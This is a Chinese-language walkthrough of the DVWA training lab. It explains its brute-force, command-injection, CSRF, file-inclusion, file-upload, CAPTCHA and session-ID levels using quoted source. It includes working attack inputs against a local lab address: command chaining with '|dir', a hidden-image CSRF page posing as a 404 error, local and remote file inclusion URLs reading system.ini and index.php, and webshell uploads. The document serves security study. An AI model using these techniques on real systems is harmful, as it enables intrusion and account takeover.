DVWA的wp
Burte Force
这一关考察我们是爆破。
Low
这一串代码对与刷过sqli-labs的来说应该是比较熟悉的。
我们审查代码可以看出来,这个代码没有对我们输入的username做任何过滤,只将password编码为md5,那么我们就有两种解法,一个是使用sql注入直接使用万能密码,第二个是使用bp来爆破了。
Medium
这关我们查看源码
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
我们发现多了这个函数,这个函数对于刷过sqlilabs的我们来说应该不陌生,这个函数的作用是给字符串里存在的特殊字符前加一个\对字符进行转义以此来防止注入。如果该数据库的字符集为gbk编码的话可以使用%df来进行绕过\但是这关不是
那么这关就无法进行注入了。而且我们在查看一下代码可以发现只要登陆失败就会激活sleep(2)函数导致爆破速度变慢,但是我们仍然可以进行爆破
high
token
token是防止重复登陆爆破的一种方式,token是由服务端随机生成,发送到客户端,将其保存在客户端的cookie或者session里,在用户登陆时将其一同在表单里发送,当表单发送到服务端时服务器会刷新token并再发送到用户端。这也就导致我们直接使用bp来进行简单的爆破就会导致再发送第二次的时候由于发送的token与服务端不同导致无法成功。这使用我们需要更改一些设置使其可以将上一次服务器发送的响应来获取token进行爆破
我们将token也添加为有效载荷
在将攻击线程调整为1因为在发送后服务的就会刷新token所以无法进行多线程爆破

我们将重定向条件为总是,再添加检索提取,点击重新获取响应,找到token的内容右键选择再点击确定,
之后这种token选择递归提取,将刚才的token复制到初始payload里就可以开始爆破了
impossible
这一关由于输入了三次错误以上就会锁定导致爆破的时间大大增加所以比较安全
Command Injection
LOW
这个我们查看源码可以发现其含有一个函数shell_exec这个函数会将参数当成指令运行,而且由于该函数没有对每个字符和指令过滤导致我们可以直接在输入的ip后使用连接符连接一个指令导致服务器端信息泄露
下面是一些命令拼接符号1
2
3
4
5A;B A运行成功与失败都会运行B
A|B 将A运行的结果当作B的参数运行
A&B A在后台运行AB同时运行
A&&B A成功运行B
A||B A失败运行B1
127.0.0.1|dir
Mediun
1 | $substitutions = array( |
中等难度是利用str_replace函数来进行过滤这个函数我们在sql注入时也遇到过时将字符串中出现的黑名单字符串进行替换,这个函数中将数组的key也就是&&和;替换成了空但是还有其他连接符没有进行过滤我们可以使用|来进行连接
high
高难度我们查看一下源码可以发现1
2
3
4
5
6
7
8
9'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
几乎把连接符过滤了,但是我们仔细看看会发现其是将’| ‘变为空所以我可以直接使用127.0.0.1|dir
impossible
这关我们查看源码来学习一下
我们可以看到其利用了expload()函数将由点分割的字符串保存为数组,在利用is_number()来检测其是否为数字,并且该数数组大小为4。由于我们在最后接上了指令导致其最后一个不为数字,无法进行注入
DVMA-CSRF
LOW
这个LOW难度我们查看源码可以发现只有两次秘密相同就可以成功修改密码没有进行任何过滤并且其密码是使用GET传值,我们尝试修改一下密码,得到url为http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change#这时候我们将其进行修改http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=3333&password_conf=3333&Change=Change#之后再其他网页访问发现,成功将密码修改为了3333但是这种方法属实是有点傻,这时候我们有以下两种方法进行修改
1。短链
我们可以使用短链生成工具的在线网站将该链接进行转换。
2:
我们可以使用如下html文件将html文件放在web里,这时候网页会自动发送请求。该方法更加隐蔽也常用代码如下1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>CSRF</title>
</head>
<img src="http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=3333&password_conf=3333&Change=Change#"border="0" style="display:none;">
<h1>
404<h1>
<h2>
file not found.<h2>
<body>
</body>
</html>
这时候我们访问该网站会显示404这回使用户误认为访问错误了,但是其实密码已经被修改了。
medium
我们查看代码发现比LOW多了个1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
这个代码的作用使匹配我们发送的referer头查看是否为服务器名称,如果referer里含有服务器名称则修改密码。
这时候我们可以直接将html文件改为主机名称。这样子再发送时referer头就回包含主机名称
high
high难度的因为其需要运用到xss的内容再学习网xss后再补充。
File Inclusion
该大关主要是考察文件包含漏洞
文件包含漏洞的具体可以查看这篇博客文件包含漏洞
LOW
这一关我们查看源码可以发现没有任何过滤,这导致我们可以直接使用文件包含漏洞。
比如:
本地包含漏洞:http://192.168.32.1/DVWA-master/vulnerabilities/fi/?page=C:Windows/system.ini如果该页面文件位于c盘可以改为改为…...\Windows\system.ini
远程包含漏洞:http://192.168.32.1/DVWA-master/vulnerabilities/fi/?page=https://lisien11.github.io/404.html这样就会包含我博客的404页面内容
也可以使用php伪协议来输出index.php内容:http://192.168.32.1/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php
Medium
打开源码发现过滤了http://和https://但是由于其过滤的函数为str_replace()这个函数我们再sql注入时见过只要使用双写就可以绕过如:http://192.168.32.1/DVWA-master/vulnerabilities/fi/?page=htthttps://ps://lisien11.github.io/404.html
high
我们打开源码发现其要求文件的开头必须要为file或者文件名为include.php
所以我们可以使用file://伪协议来绕过
impossible
由于源码的过滤是直接指定可包含文件的名字,所以无法使用文件包含漏洞。
File upload
LOW
直接上传一句话木马,蚁剑链接即可
Medium
因为其检查是考MIME所以直接上传抓包修改后缀为php
high
直接上传图片马使用文件包含漏洞即可
impossible
该代码将文件名字做了随机处理,并且只能上传jpg和png,而该代码会对图片进行压缩导致其二进制编码发生改变,虽然gif可以保留一点但是由于无法上传gif所以非常安全
Insecure CAPTCHA
LOW
这关的主要目的是绕过验证码来对密码进行修改,我们查看源码发现step为1时进行验证码验证,step为2时直接进行密码修改的程序所以我们直接抓包将step改为2即可
Medium
我们查看源码发现其就比LOW多了一段1
2
3
4
5if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
我们要绕过这个需要抓包传passed_captcha的值为ture
high
我们查看源码可以发现1
if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'))
我们需要绕过以上代码
可以发现我们可以将g-recaptcha-response的值传为hidd3n_valu3将HTTP_USER_AGENT的值传为reCAPTCHA就可以绕过
impossible
要求输入原密码。
weak session id
Low
1 | if ($_SERVER['REQUEST_METHOD'] == "POST") { |
直接将session从0不断加1生成
Medium
1 | if ($_SERVER['REQUEST_METHOD'] == "POST") { |
将时间戳设置为session,时间戳是不安全的
high
1 | if (!isset ($_SESSION['last_session_id_high'])) { |
setcookie(name,value,expire,path,domain,secure,httponly)
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
将session从0不断加1或进行md5加密进行设置,仍然具有规律性还是很不安全
impossible
1 | if ($_SERVER['REQUEST_METHOD'] == "POST") { |
将session设置随机数加时机戳加上”Impossible”最后利用sha1进行加密非常的安全啊。











